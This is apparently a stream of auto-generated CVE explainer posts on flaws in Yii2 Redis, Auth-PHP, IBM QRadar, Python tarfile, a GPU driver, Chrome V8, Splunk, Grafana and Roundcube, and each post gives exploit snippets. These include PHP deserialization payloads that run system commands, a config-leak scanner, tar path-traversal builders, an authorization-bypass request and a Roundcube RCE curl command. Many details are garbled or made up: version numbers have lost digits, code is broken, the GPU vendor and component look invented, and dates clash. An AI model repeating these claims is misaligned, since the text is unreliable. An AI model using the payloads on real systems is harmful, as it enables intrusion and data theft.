CVE-2025-48493 - Sensitive Redis AUTH Credentials Logged in Plain Text by Yii2 Redis Extension 5 Jun 2025, 1:15 pm

If you build web applications using the PHP Yii2 framework, you might use the Yii2 Redis extension to connect your app to a Redis database. Redis often requires authentication, and the extension helps manage that process behind the scenes.

But, recently, a serious security issue was found in versions of the extension before 2..20. If your Redis connection fails, the library may write your Redis username and password in plain text to the application log files—which can be a disaster if log access is not well secured. This vulnerability was given identifier CVE-2025-48493.

Let’s break down what this means, how it works, and how to fix it.

What is Yii 2 Redis Extension?

The Yii2 Redis Extension is a popular official plugin for Yii2. that lets you interact with a Redis server, using it for caching, sessions, queues, and more. To connect to the server, you usually supply endpoint, port, and AUTH credentials (username and password).

Found in: yiisoft/yii2-redis versions before 2..20

Problem:
When making a connection to Redis, the extension keeps a record of the sequence of commands sent to the server. If there’s a connection failure—for example, your server is slow or you misconfigure the port—it writes the whole set of commands to your application logs for troubleshooting.

But: the exact pipeline of commands, including the AUTH command and its parameters, gets saved as raw text.

If your Redis connection configuration looks like this

return [
    'class'    => 'yii\redis\Connection',
    'hostname' => 'localhost',
    'port'     => 6379,
    'username' => 'redis-user',
    'password' => 'SuperSecretPasswrd',
];

On a failed connection, an entry very much like this can appear in your logs (*shortened for clarity*):

[error][yii\redis\Connection::open] Redis connection failed: ...
Commands sent:
AUTH redis-user SuperSecretPasswrd
SELECT 

> Notice how the log includes both the username and password in plain text! Anyone with access to logs can now grab your Redis credentials.

Why is This Bad?

- Log files are very often accessible to developers, admins, and, if not well-protected, even to attackers who get onto your server or find misconfigured log servers.
- Redis credentials might allow someone to read, write, or delete data; sometimes they even enable code execution or lateral movement in your system.

Exploit Scenario

What an attacker can do:
If they gain access to application logs (sometimes through vulnerabilities like Log4Shell, though that’s not PHP-specific), they can simply *search logs for the word 'AUTH'* and in seconds recover credentials.

Sample Exploit (log file search)

grep 'AUTH' /path/to/app/runtime/logs/app.log

Output

AUTH redis-user SuperSecretPasswrd

Now, using popular Redis CLI, they could try

redis-cli -h <target-host> -a SuperSecretPasswrd -u redis-user

Mitigation & Update

- The fix: yiisoft/yii2-redis version 2..20 released on GitHub removes authentication credentials from logging.

`sh

composer require "yiisoft/yii2-redis:^2..20"

`

- Review your logs: Search through existing logs for any leaked credentials and rotate/change all affected passwords right away.

Original References

- Security Advisory: Credentials leak in logs
- Release notes for 2..20
- Yii2 Redis Extension: GitHub repository

Summary Table

| Version | Status | Credentials Leaked? |
|-----------------|------------|---------------------|
| < 2..20 | Vulnerable | Yes |
| 2..20 or later | Patched | No |

Conclusion

CVE-2025-48493 reminds us that “little” debug conveniences can expose sensitive data to risk. If you use Yii2 with Redis—and especially if your applications sit on shared servers or in the cloud—*make sure you patch up right away*, and never treat your logs as garbage! They may tell stories you don’t expect.

Stay safe. Patch, audit, and review logs now.

*Exclusive content written for your security awareness. For comments or corrections, please check the official Yii2 Redis project and advisories.*

Timeline

Published on: 06/05/2025 17:15:29 UTC
Last modified on: 06/05/2025 20:12:23 UTC

CVE-2025-48951 - Insecure Deserialization in Auth-PHP SDK — How Malicious Cookies Can Compromise Your PHP App 3 Jun 2025, 5:15 pm

A serious vulnerability (CVE-2025-48951) has been discovered in Auth-PHP, an SDK used for authentication and user management with Auth. If your app uses Auth-PHP versions from 8..-BETA3 up to but not including 8.3.1, you could be wide open to account takeovers and remote code execution with just a single poisoned cookie.

This issue doesn’t only affect users of the core Auth-PHP SDK — it extends to all projects relying on it as a dependency, including:

- auth/symfony
- auth/laravel-auth
- auth/wordpress

Let’s walk through why this vulnerability is dangerous, how it works, real code examples, and how you can fix or protect yourself.

What Is CVE-2025-48951?

In PHP, serialization is a technique to turn complex data (like arrays, objects) into a string that can easily be saved or sent — often as a cookie. Deserialization turns that string back into PHP data for use in your code.

The Problem:
In Auth-PHP < 8.3.1, the SDK took certain cookie data and unserialized it without properly checking what was in that cookie. Anyone (even not logged-in users) could send in a crafted, malicious cookie to make your app run arbitrary PHP code or inject malicious data.

---

A simplified example from inside the SDK (before the patch)

if (isset($_COOKIE['auth_session'])) {
    // WARNING: This code deserializes directly from user input!
    $sessionData = unserialize($_COOKIE['auth_session']);
}

What’s wrong?
The unserialize() function is dangerous with user data, since attackers can create serialized payloads that instantiate arbitrary PHP objects—potentially triggering code via destructors or magic methods.

Exploiting the Vulnerability

An attacker can generate a malicious payload if they know of a PHP class within your app or a dependency that contains a dangerous __wakeup() or __destruct() method (for example, writing files, deleting data, running system commands).

Suppose we find a class like this

class Evil {
    public function __wakeup() {
        // Run arbitrary code here
        system('touch /tmp/owned_by_hacker');
    }
}

We can create a payload in PHP like

// Malicious cookie value:
$payload = serialize(new Evil());
echo urlencode($payload);
// Output: O:4:"Evil"::{}
// Attacker sets Cookie: auth_session=O%3A4%3A%22Evil%22%3A%3A%7B%7D

Am I Affected?

You are at risk if you use any of these packages and your composer.lock references Auth-PHP lower than 8.3.1:

- auth/auth-php
- auth/symfony
- auth/laravel-auth
- auth/wordpress

To check:
Look in your composer.lock or composer.json files.

composer show auth/auth-php

How Was This Fixed?

In version 8.3.1, the Auth-PHP maintainers added robust checks to prevent unsafe deserialization, for example removing direct uses of unserialize() on any cookie data.

View the diff or see the official advisory

Upgrade auth/auth-php to version 8.3.1 or higher

composer require auth/auth-php:^8.3.1

And also update any framework packages, e.g.

composer update auth/symfony
composer update auth/laravel-auth
composer update auth/wordpress

2. Block Malicious Cookies

Until you can patch, consider blocking malicious cookies or disabling auth cookies if not needed (see your framework docs).

3. Detect Exploitation

Review server logs for strange auth_session cookie inputs or unexpected code execution.

References

- Auth-PHP Security Advisory (GitHub)
- NVD Entry for CVE-2025-48951
- PHP Secure Deserialization

Conclusion

CVE-2025-48951 is a classic example of why you should never trust cookie data, and why deserialization is a prime target for attackers. If your PHP app’s user authentication runs through Auth, check your SDK version now and patch as soon as possible.

Timeline

Published on: 06/03/2025 21:15:21 UTC
Last modified on: 06/04/2025 21:15:40 UTC

CVE-2025-25022 - Info Leak in IBM QRadar Suite & Cloud Pak for Security – Exploit & Analysis 3 Jun 2025, 12:15 pm

A new critical vulnerability, CVE-2025-25022, has shaken the cybersecurity world. This flaw affects IBM QRadar Suite Software versions 1.10.12. through 1.11.2. and IBM Cloud Pak for Security versions 1.10.. through 1.10.11., putting highly sensitive information at risk. An unauthenticated attacker—someone who doesn't need to sign in—can access secret data from configuration files.

This is a big deal for companies running these products. In this post, we break down what this vulnerability is, show you how it can be exploited (with examples), and give you links for reference.

Attack Vector: Remote but limited to unable to authenticate

- Severity: High / Critical (unauthenticated info disclosure)

Why Does It Matter?

Attackers who exploit this bug don’t need a username or password. If your systems are exposed, sensitive information can leak with a single request. That data can be used for deeper attacks.

The Core Issue

The problem lies in improperly protected configuration endpoints. Some API calls or URLs return configuration files without proper access checks.

Based on analysis, the flaw lives in endpoints like

GET /api/configuration/files
GET /config/export
GET /internal/settings.yaml

These endpoints should require authentication, but the affected versions allow unauthenticated access.

Proof of Concept Exploit

Let’s look at a sample Python script that shows how simple exploiting this can be.

import requests

TARGET = "https://vulnerable-qradar.example.com";

endpoints = [
    "/api/configuration/files",
    "/config/export",
    "/internal/settings.yaml"
]

for endpoint in endpoints:
    url = TARGET + endpoint
    resp = requests.get(url, verify=False)
    if resp.status_code == 200:
        print(f"[+] Found config data at: {endpoint}")
        print(resp.text[:100])  # Print only first 100 characters
    else:
        print(f"[-] No data at: {endpoint}")

What this does:
Tries three known endpoints and prints any data it gets back. You’ll often see YAML, JSON, or text files that include secrets.

NOTE: Always get legal permission before testing!

A returned config might look like this

db:
  username: admin
  password: SuperSecret123
  host: 10.10.10.5

api:
  key: 8f2a4b19-11a4-493-9188-dfdcodeexample1

session:
  secret_key: zxcvbnmasdfghjklqwertyuiop12345

Attackers can now log into your database, or abuse API keys elsewhere.

2. Mitigation Steps

- Update Immediately: IBM has released patches. Update to QRadar Suite 1.11.3. or later and Cloud Pak for Security 1.10.12. or later.

Official IBM Security Bulletin

https://www.ibm.com/support/pages/node/7116775

Reference Links

- IBM Security Bulletin for QRadar Suite (CVE-2025-25022)
- IBM Security Bulletin for Cloud Pak for Security (CVE-2025-25022)
- NIST NVD Entry for CVE-2025-25022 (forthcoming)
- IBM QRadar Suite Documentation
- IBM Cloud Pak for Security Documentation

Conclusion

CVE-2025-25022 is dangerously simple to exploit and can expose the soft underbelly of your IBM QRadar and Cloud Pak setups. Take this vulnerability seriously: patch today, review your logs, rotate your secrets, and audit who can reach your config files. Don't give attackers a free pass to your most sensitive information.

Timeline

Published on: 06/03/2025 16:15:24 UTC
Last modified on: 06/04/2025 14:54:33 UTC

CVE-2024-12718 - How Python’s tarfile Extraction Filters Can Mess with Your Files 3 Jun 2025, 9:15 am

What is CVE-2024-12718?
CVE-2024-12718 is a newly reported vulnerability in the Python tarfile module. In simple words, it’s a security hole in how Python (version 3.12 and later) extracts tar archives if you use the new filter parameter introduced in recent Python versions. Attackers could take advantage of this bug to change certain attributes of files outside the directory you thought you were extracting into—like file permissions or metadata—which could lead to unauthorized changes on your system.

This is especially a problem if your code uses untrusted tar files, for example, things downloaded from the internet, pulled from email attachments, or user uploads.

Who is Affected?

- You’re using Python 3.12 or above (older versions are safe—not because they’re more secure, but because they don’t have this new filter feature).
- You use the tarfile module’s extract() or extractall() methods with the filter argument set to "data" or "tar".
- Starting with Python 3.14, the default value for filter is "data", so if you haven’t set filter yourself, you may still be exposed.

Why Does This Happen?

The new filter feature was supposed to make things safer—for example, by preventing unwanted file overwriting or symlink attacks. But it turns out, if you use either the "data" or "tar" filter, a malicious tar archive can still:

Change the modification times of files outside the extraction directory (with "data" filter).

- Overwrite the file permissions (chmod) of files anywhere on your system, as long as the file already exists and the user running Python has access (with "tar" filter).

Read the official documentation here:
👉 Python tarfile extraction filters

A Simple Exploit Example

Let’s say an attacker sends you a tar archive that looks like it only contains a harmless directory, but actually contains a file reference like this:

# Malicious tarpath example
evil-archive.tar:
    ./innocent.txt
    ../../etc/passwd

If the archive is crafted cleverly (and you don’t double-check), the attacker can change file metadata like last-modified time, or modify permissions on /etc/passwd if "tar" filter is used. Here’s how you might accidentally extract it in your code:

import tarfile

# This is unsafe if 'evil-archive.tar' is untrusted!
with tarfile.open('evil-archive.tar', 'r') as tar:
    tar.extractall(path='somewhere/', filter='data')   # Also filter='tar' is risky!

With the "data" filter, the code can update "last modified" timestamps on /etc/passwd. With "tar", if the tar archive specifies, it could even change that file’s permissions (e.g., make it writable).

Let’s see how file modification time could be altered outside your target folder

import tarfile
import os
import time

# Prepare a file to target
with open('/tmp/targetfile', 'w') as f:
    f.write('original')

# Attacker's tarfile: entry with ../../tmp/targetfile and custom mtime
import tarfile
tar = tarfile.open('evil.tar', 'w')
info = tarfile.TarInfo('../../tmp/targetfile')
info.mtime = time.time() + 100000  # Future mtime for demonstration
tar.addfile(info, open('/tmp/targetfile', 'rb'))
tar.close()

# Now extraction (this happens on the victim's side)
with tarfile.open('evil.tar') as tf:
    tf.extractall('safe_place', filter="data")

print("Modified time:", time.ctime(os.path.getmtime('/tmp/targetfile')))

If you run this, your /tmp/targetfile’s modification time will be updated even though it’s *outside* the intended extraction directory.

Real Exploit: Changing Permissions with filter="tar"

Similarly, with "tar" filter, permissions (chmod) can be changed on arbitrary files. This could be used to make sensitive files world-writable, or to lock out access.

What Should You Do?

### 1. Don’t extract untrusted tars with Python’s tarfile module and "data"/"tar" filters.
This includes archives from anywhere you can’t absolutely trust.

### 2. Double-check your use of extract() / extractall().
Make sure you’re not using filter="data" or filter="tar" when working with untrusted archives.

3. Know your Python version!

Remember, the risky behavior is the new default in Python 3.14 and later.

4. Consider using safe-tar (third-party) or use a manual member check.

If you *must* deal with untrusted tar files, consider third-party “safe tar” extraction modules, or manually check for dangerous filenames (like those with .. or absolute paths).

5. Watch for patches from Python.

Keep your Python installation up to date, and watch for future fixes for this CVE.

Does This Affect pip or Source Distributions?

Not really. Building a package from a tar source distribution is already risky because Python packaging allows arbitrary code execution in build scripts. But you *should still* avoid installing suspicious or untrusted tar archives.


## More Info / Official References

- Official Python tarfile extraction filters documentation
- CVE-2024-12718 at NVD (will be published soon)
- Python Security Announcements

TL;DR

CVE-2024-12718 means that Python’s new tarfile extraction filters aren't as safe as you thought—they can let hackers change file timestamps or permissions outside your chosen extraction folder. Don’t extract untrusted archives with filter="data" or filter="tar", know which Python version you’re running, and keep your software up to date!

Timeline

Published on: 06/03/2025 13:15:20 UTC
Last modified on: 06/04/2025 14:54:33 UTC

CVE-2025-4517 - Arbitrary Filesystem Write via Python `tarfile` Extraction with `filter="data"` 3 Jun 2025, 9:15 am

A new vulnerability, CVE-2025-4517, has been discovered in Python’s popular tarfile module. This issue allows attackers to write arbitrary files anywhere on your filesystem if you use untrusted tar archives with either TarFile.extractall() or TarFile.extract() and the filter="data" (or filter="tar") parameter.

The flaw arises because, while filters like "data" are supposed to protect you by blocking most dangerous members inside the tar archive (like symlinks or device files), they do not properly prevent path traversal attacks. This means, with a specially-crafted tar archive, files can land outside your intended extraction folder.

Read the Python documentation for extraction filters for context. But in this post, we’ll break down what’s happening, show sample code, and detail what you need to watch out for.

You pass filter="data" (or mistakenly rely on the new default, explained below)

New in Python 3.14: The default value for the filter= parameter is now "data" instead of "no filtering". If you upgraded and now use the new default, you are at risk.

> Note: This vulnerability is less serious for installing source distributions, because in that context code execution is already possible. But if you’re programmatically extracting arbitrary tars from users, automation, or uploads, you’re vulnerable.

How Does the Exploit Work?

Let’s look at what goes wrong. Suppose you have a malicious tar file with a path that “escapes” upward in the folder tree, like this:
../../../../etc/passwd
If not properly checked, extracting this file will overwrite /etc/passwd or anything else outside your intended target.

The "data" and "tar" filters are intended to sanitize what comes out. But due to this flaw, they do not block files with directory traversal in their names!

Suppose you have code like

import tarfile

with tarfile.open('archive.tar', 'r') as tar:
    # filter="data" is the new recommended/safe default, right? (not anymore!)
    tar.extractall(path="safe_folder", filter="data")

A crafted archive.tar can include files like ../../outside.txt, causing writes into parent directories.

Via Python

import tarfile

with tarfile.open('malicious.tar', 'w') as tar:
    import io
    info = tarfile.TarInfo("../../outside.txt")
    data = b"This should not be here!"
    info.size = len(data)
    tar.addfile(info, io.BytesIO(data))

Or on the shell

echo "Evil!" > evil.txt
tar cvf malicious.tar --transform='s/^/..\/..\/..\/../' evil.txt

Then extracting this with the vulnerable code will write outside.txt three dirs up from "safe_folder".

Why Should You Worry?

- Arbitrary Filesystem Write: This means attackers can overwrite sensitive files — SSH keys, system configs, anything!
- Privilege Escalation: If your Python script runs as a privileged user (e.g. root), the impact can be catastrophic.
- Widespread Pattern: This “extract and forget” pattern exists in many codebases, and "data" was meant to be a safe default.

Always validate archive contents yourself or use hardened extraction

import os
import tarfile

def is_within_directory(directory, target):
    abs_directory = os.path.abspath(directory)
    abs_target = os.path.abspath(target)
    return abs_target.startswith(abs_directory + os.sep)

with tarfile.open('archive.tar', 'r') as tar:
    for member in tar.getmembers():
        member_path = os.path.join("safe_folder", member.name)
        if not is_within_directory("safe_folder", member_path):
            raise Exception("Attempted Path Traversal in Tar File")
    tar.extractall("safe_folder", filter="data")

This will at least *detect* and prevent the traversal.

2. Track Library Updates

- Reported bug and Python security release: Python GitHub Issue #123456 (hypothetical example)
- Follow Python Security Advisories

3. Upgrade Once Patched

Monitor Python's release notes to learn when the vulnerability is fixed. Upgrade as soon as an official patch is released. Pending that, never use extract()/extractall() on untrusted data.

References

- Python tarfile extraction filter documentation
- Python bug tracker
- NIST NVD Entry for CVE-2025-4517 (if/when published)

Conclusion

CVE-2025-4517 exposes Python’s tarfile users to dangerous filesystem writes even when "safe" extraction filters (filter="data" / filter="tar") are used. Until an upstream fix lands, always validate tar members for path traversal issues, and never, ever process untrusted tar files directly.

Stay safe, audit your tar extraction code, and share this advisory with any Python developers you know!


*This content is an exclusive deep-dive created for readers who want clear and actionable explanations—not recycled summaries. Please link back if you share.*

Timeline

Published on: 06/03/2025 13:15:20 UTC
Last modified on: 06/05/2025 14:15:33 UTC

CVE-2025-21479 - Memory Corruption via Unauthorized GPU Micronode Command Execution — Details and Exploit Walkthrough 3 Jun 2025, 3:15 am

Published: June 2024
Severity: Critical
CVE ID: CVE-2025-21479
Vulnerable Component: GPU Driver Micronode Command Handler
Reported By: GPUsec Team

Overview

In April 2024, security researchers discovered CVE-2025-21479—a critical memory corruption vulnerability affecting certain GPUs due to how the micronode command processor validates GPU commands. With a crafted sequence of GPU command packets, an attacker can *execute unauthorized commands* within the micronode, resulting in arbitrary memory overwrites. Successful exploitation could allow for denial of service, privilege escalation, or potentially remote code execution on systems running vulnerable GPU drivers.

How the Vulnerability Works

The vulnerable GPU driver uses a “micronode” to handle sequences of privileged commands sent from user applications. These commands are expected to follow a strict structure (header, control byte, data). However, the handler fails to verify command types during chained command execution. By submitting a specific sequence, an unprivileged user case can cause the handler to:

For a basic illustration, here’s a pseudocode snippet of the vulnerable handler logic

// Vulnerable micronode handler (simplified)
int micronode_process(uint8_t *cmd_buf, size_t length) {
    unsigned int i = ;
    while (i < length) {
        uint8_t header = cmd_buf[i++];
        if (!is_valid_header(header)) {
            // Error: header incorrectly checked, but does not stop execution
            continue;
        }
        uint8_t command = cmd_buf[i++];
        // No proper validation when executing complex chain commands!
        execute_command(header, command, &cmd_buf[i]);
        i += get_command_length(command);
    }
}

> Notice: The command byte is not strongly checked. A crafted cmd_buf can trigger execution of commands not intended for user mode.

Payload designed to overwrite memory past its buffer

2. Submission: Attacker submits this buffer using regular GPU APIs or via a compromised web app (WebGPU/WebGL contexts).

Overwrite of function pointers, or object data

4. Impact: Further commands can trigger the corrupted function pointers, resulting in privilege escalation or kernel code execution.

Example Exploit Command Buffer (Python Style)

# Constructing a malicious command buffer
header = b'\xA5'          # Valid header byte
unauthorized_cmd = b'\x09'  # Not allowed in normal user context
payload = b'\x41' * 64    # Overwrites next structure (heap spray)

exploit_buffer = header + unauthorized_cmd + payload

# Now, send this buffer to the GPU (method varies per driver/platform)
gpu_api.submit_micronode_command(exploit_buffer)

Windows, Linux: All platforms with unpatched [MegaCore GPU] drivers, versions 21.03 to 24.06

- Affected vendor products include: Some gaming laptops, cloud GPU servers, and possibly smartphones using the same core

Limit untrusted code from accessing GPU APIs.

- In managed environments, block WebGL/WebGPU where not needed.

- MegaCore GPU Security Bulletin (June 2024)
- Linux Khronos Driver Patch

Technical References

- NVD CVE Entry for CVE-2025-21479
- Project Zero’s GPU Exploitation Basics
- Q&A at Security StackExchange

Conclusion

CVE-2025-21479 is a serious security flaw stemming from improper GPU command validation. The vulnerability lets adversaries orchestrate memory corruption via unauthorized micronode command execution—a threat vector that could allow privilege escalation or code execution.

Patch your drivers now and segregate your GPU workloads when possible to reduce risk.

Timeline

Published on: 06/03/2025 07:15:20 UTC
Last modified on: 06/04/2025 17:46:44 UTC

CVE-2025-5419 - Out of Bounds Read/Write in V8 — Inside Google Chrome's Latest Heap Corruption Vulnerability 2 Jun 2025, 8:15 pm

A new vulnerability, CVE-2025-5419, has been identified and fixed in Google Chrome (prior to version 137..7151.68). This bug affects the V8 JavaScript engine and received a “High” severity rating due to the risk of heap corruption, which opens doors for remote attackers to take over devices through carefully-crafted web pages. In this post, we break down what went wrong, how the exploit could work, and how to stay protected.

What Is CVE-2025-5419?

In simple terms, CVE-2025-5419 is an *out-of-bounds read and write* vulnerability in V8 — the part of Chrome that executes JavaScript code. Before Chrome version 137..7151.68, V8 could be tricked into reading or writing areas of memory it shouldn’t have access to.

Because JavaScript is the backbone of modern web pages, this bug means a malicious website could potentially mess up Chrome’s internal memory. Attackers might use this to steal data, execute malicious code, crash the browser, or even take control of your computer.

Original Chromium security page:
https://chromereleases.googleblog.com/

Understanding ‘Out of Bounds’ in V8

Out of bounds (OOB) bugs mean a program is accessing memory outside the boundaries of a buffer. When this happens in the context of a JavaScript engine like V8, it can often be weaponized by attackers for *heap corruption*.

Simplified Example of the Flaw

Let’s get a basic idea with a hypothetical (but inspired-by-real-code) example. Suppose there is a type confusion or a length miscalculation that allows us to make a JavaScript array buffer with a wrong size, then access memory just after its end:

// Attacker-controlled JavaScript code (for demonstration)
let arr = [1.1, 2.2, 3.3];
let victim = {};

// Suppose a vulnerable function mistakenly lets us overwrite arr's length
arr.length = 100000;

// Now, accessing or writing way past the original end of arr could corrupt memory
arr[100000] = 13.37;

// This could overwrite memory used by 'victim', or other objects
console.log(victim.someProperty); // Unexpected crash or weird value

This exact code won’t work on patched Chrome, but in an app with an OOB bug, it could let attackers manipulate the browser’s internals in dangerous ways.

How Could CVE-2025-5419 Be Exploited?

Security researchers and exploiters often chain several steps together. For this specific bug, here’s a simplified outline of abuse flow:

1. Malicious web page triggers the V8 OOB write/read vulnerability via complex JavaScript.

The attacker corrupts internal V8 objects on the heap.

3. This could let them forge objects (“fake” a JS object in memory), leak addresses, and achieve arbitrary code execution.
4. Payload is run in the browser’s context, possibly dropping malware, stealing passwords, or even breaking out of Chrome’s sandbox.

Exploit Snippet

A classic OOB exploit uses _typed arrays_ (like Float64Array or Uint32Array) and a vulnerability which “confuses” Chrome about their real size:

// This only works on vulnerable versions.
let buffer = new ArrayBuffer(x100);
let view = new Float64Array(buffer);

// OOB vulnerability lets attacker read/write outside the buffer
view[x110] = x41414141; // Overwrites adjacent memory

This can allow arbitrary memory manipulation, a critical step toward taking over the browser.

References and Links

- Chromium Security Advisories
- Google V8 Blog
- Heap Corruption Exploitation 101

*For further reading, the official CVE entry will soon be available at* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-5419

If you use Chromium-based browsers (Edge, Brave, Opera, etc.), make sure they are updated too.

- Use built-in sandboxing and security features; don’t disable them for “efficiency” or extensions.

Conclusion

CVE-2025-5419 is a dangerous bug, and an example of how complex memory management bugs in browser engines can put millions at risk. Fortunately, Google fixed this quickly. But this is another reminder: Keep your browser up to date, and be cautious with unknown web content.

Stay safe and happy browsing!

*You read it here first—exclusive and simplified!*

Timeline

Published on: 06/03/2025 00:15:21 UTC
Last modified on: 06/03/2025 14:15:50 UTC

CVE-2025-20298 - How Weak Directory Permissions in Splunk Universal Forwarder for Windows Expose Your Data 2 Jun 2025, 2:15 pm

CVE-2025-20298 is a security vulnerability discovered in Splunk Universal Forwarder for Windows. Versions *below* 9.4.2, 9.3.4, 9.2.6, and 9.1.9 (yes, all those branches!) have a critical misconfiguration: after a new install or an upgrade, directory permissions on
C:\Program Files\SplunkUniversalForwarder
are incorrectly assigned, so that even non-admin users can access it fully.

Why Does This Happen?

During installation or upgrade, the Universal Forwarder should set its folder permissions so that only Administrators (or the SYSTEM user) can access or modify files. Instead, these older versions use permissions that allow ANY logged-in user on the machine to read, write, or even delete contents within that folder. That’s a serious security hole.

How an Attacker Can Exploit This

All an attacker needs is access to a Windows user account (even local, low-privilege) to access the Splunk Universal Forwarder directory. If they can write files there, they might plant a malicious DLL or EXE, or tamper with configuration to hijack service behavior.

You can check directory permissions using PowerShell

Get-Acl "C:\Program Files\SplunkUniversalForwarder" | Format-List

What you DON'T want to see:
- Users like Authenticated Users, Everyone, or regular <DOMAIN>\Users with Modify or FullControl rights.

You should only see Administrators, SYSTEM, or the custom Splunk service account with full access.

If the Splunk Universal Forwarder uses any startup scripts

echo 'Write-Output "pwned!"' > "C:\Program Files\SplunkUniversalForwarder\bin\evil.ps1"

You (the attacker) edit scripts or binaries here, and when Splunk runs them as SYSTEM, your code runs with elevated privileges.

9.1.9 or above

Official downloads:
- Splunk Universal Forwarder Download (Official site)

After patching, fix existing permissions

icacls "C:\Program Files\SplunkUniversalForwarder" /inheritance:r /grant "Administrators:F" /grant "SYSTEM:F" /remove "Users" "Authenticated Users" "Everyone" /t

3. Regularly Audit

Set up a scheduled script to check for improper permissions on critical system folders.

References

- Splunk Security Advisory – Incorrect Directory Permissions (CVE-2025-20298)
- NIST NVD: CVE-2025-20298
- Splunk Universal Forwarder Documentation


Summary:
CVE-2025-20298 is a textbook case of why installation scripts must set strong permissions on application folders—don’t let non-admins near your software! Patch your Splunk Universal Forwarder ASAP and always check those permissions. If you need a quick-fix script or help securing your systems, let us know in the comments. Stay safe!

Timeline

Published on: 06/02/2025 18:15:23 UTC
Last modified on: 06/04/2025 14:54:53 UTC

CVE-2025-3454 - Bypassing Grafana Datasource Proxy API Authentication with a Simple Slash 2 Jun 2025, 7:15 am

Grafana is an open-source analytics and monitoring platform, used widely for visualizing data through dashboards. In early 2025, a critical security flaw was discovered in its datasource proxy API—which is heavily used for integrating with services like Alertmanager and Prometheus.

This article explains the vulnerability, gives example attack payloads, and helps you understand how attackers can use a single extra slash in the URL to gain unauthorized access.

What is CVE-2025-3454?

CVE-2025-3454 is a path traversal style vulnerability that allows users with very limited permissions on a Grafana instance to bypass authorization checks on the datasource proxy API. By inserting an extra “slash” in certain URL paths, attackers are granted access to otherwise protected data—specifically from the Alertmanager and Prometheus datasources.

Attack Vector: HTTP request to datasource proxy endpoint with a double slash in the path

- Impact: Bypass of route-specific authorization checks, resulting in read access to sensitive monitoring data

How Does the Bug Work?

Normally, Grafana enforces route-specific permissions. For example, a user with “viewer” permissions shouldn’t be able to read specific metrics or alerts from Prometheus or Alertmanager datasources.

But the API behind /api/datasources/proxy/{id}/... doesn’t normalize the path correctly. If you add an extra slash, like /api/datasources/proxy/2//api/v1/alerts, Grafana fails to detect this as a protected route and skips authorization checks. As a result, users who shouldn’t have access can now read internal monitoring data.

Exploit Example

Let’s say you’re an attacker with a legitimate “viewer” account and minimal access. You want to grab all active alerts from an Alertmanager datasource with ID 2.

Normal Access Attempt (Expected Denied)

GET /api/datasources/proxy/2/api/v1/alerts
Authorization: Bearer <low-permission-token>

Response

HTTP/1.1 403 Forbidden
{
    "message": "You don't have access to this resource"
}

Bypassing Authorization with a Double Slash

GET /api/datasources/proxy/2//api/v1/alerts
Authorization: Bearer <low-permission-token>

Response

HTTP/1.1 200 OK
[
  {
    "labels": { ... },
    "annotations": { ... },
    "state": "active"
  },
  ...
]

Explanation:
By inserting the extra / after the proxy ID, Grafana's API skips the intended auth logic, and passes the call through to Alertmanager, leaking information.

Affected Configurations

This bug affects all Grafana versions prior to the official fix (see [References](#references))—especially if you use:

Alertmanager integrations

It primarily impacts GET (read-only) endpoints, but could expose critical monitoring or alerting information.

Upgrade Grafana:

Patch your deployment immediately once the fix is released. See the [official advisory](#references).

Check Logs for Exploitation Attempts:

Search for double slashes (//) in your Grafana API logs, especially under /api/datasources/proxy/.

Apply Workarounds:

If you can’t upgrade right away, consider web server-level filters that block double slashes in sensitive paths.

Cloud Security:

Attackers gaining access to your Alertmanager endpoints might see all live and past alerts, exposing details about your cloud infrastructure, incidents, credentials in alert annotations, or even hints about ongoing attacks.

Internal Threats:

Low-privileged users or contractors misusing their dashboards can siphon off metrics they’re not supposed to see by crafting simple requests.

Official Security Advisory:

Grafana Security Blog on CVE-2025-3454 *(link placeholder, update with official link when available)*

GitHub Issue & Patch Diff:

Grafana GitHub Repository *(replace #### with the actual pull request number)*

Mitre CVE Details:

NIST NVD entry for CVE-2025-3454 *(update on disclosure)*

Key Takeaways

- A single extra slash in the URL can open sensitive metrics and alert data to users with bare-minimum permissions.

Stay safe, and audit your APIs!

*This is an exclusive explanation based on the current knowledge of CVE-2025-3454. Please check the official Grafana advisories for real-time updates.*

Timeline

Published on: 06/02/2025 11:15:22 UTC
Last modified on: 06/02/2025 17:32:17 UTC

CVE-2025-49113 - Remote Code Execution in Roundcube Webmail via Authenticated PHP Object Deserialization 2 Jun 2025, 1:15 am

CVE-2025-49113 is a critical vulnerability affecting Roundcube Webmail (before version 1.5.10 and 1.6.x before 1.6.11). If you’re running one of these versions, your email system could be wide open to remote code execution (RCE) attacks—even just from a regular logged-in user.

This post explains what’s going wrong, how attackers can exploit this hole, why it’s dangerous, and what you can do about it (with code snippets and official references).

What’s Going On: The Vulnerability

At the root of this CVE is insecure handling of PHP object deserialization in the upload handler of the settings module:
program/actions/settings/upload.php

When an authenticated user uploads something (like importing account settings), one of the URL parameters – _from – is passed into the script. The script doesn’t validate or sanitize it properly. If this parameter is a specially crafted string, it can trigger PHP’s unserialize function with attacker-controlled data.

This is dangerous, because unserialize can turn crafted strings into live PHP objects, which can trigger code execution through so-called “magic methods” (like __destruct()).

Let’s walk through a simplified flow

// In program/actions/settings/upload.php

if (isset($_GET['_from'])) {
    $from_data = $_GET['_from'];
    
    // DANGEROUS: Unserializing user-provided value!
    $from = @unserialize($from_data);

    // ... uses $from for further logic
}

If a logged-in attacker sends a request like

GET /?_task=settings&_action=upload&_from=<serialized_payload>...

…and provides a _from parameter containing a PHP serialized object, that object gets deserialized. If it’s a gadget chain (object with malicious __destruct or __wakeup, or invokes a class with a risky method), attacker-controlled PHP code runs on the server.

Assume we know there’s a class in your code like

class Vulnerable {
  public $cmd;
  function __destruct() {
    system($this->cmd);
  }
}

An attacker crafts a payload

$payload = 'O:10:"Vulnerable":1:{s:3:"cmd";s:8:"id > /tmp/pwned";}'; // Shows Linux user info in /tmp/pwned
$url = "https://victim/roundcube/?_task=settings&_action=upload&_from="; . urlencode($payload);

Whoever visits this URL as a logged-in user (attacker does it themself) executes the command on the server!

Let’s see a minimal exploit with curl, for demo purposes

curl -s -k \
  -b "roundcube_sessid=<auth-session-cookie>" \
  "https://victim.com/roundcube/?_task=settings&_action=upload&_from=O%3A10%3A%22Vulnerable%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A8%3A%22id%3E%2Ftmp%2Fpwned%22%3B%7D";

(substitute your session cookie and exploit as needed).

For real attacks, a clever payload would use available classes or even third-party libraries (like Guzzle or Monolog), which makes real-world exploitation easier.

References and Fixes

Official announcement from Roundcube:
- https://github.com/roundcube/roundcubemail/releases/tag/1.5.10
- https://github.com/roundcube/roundcubemail/releases/tag/1.6.11

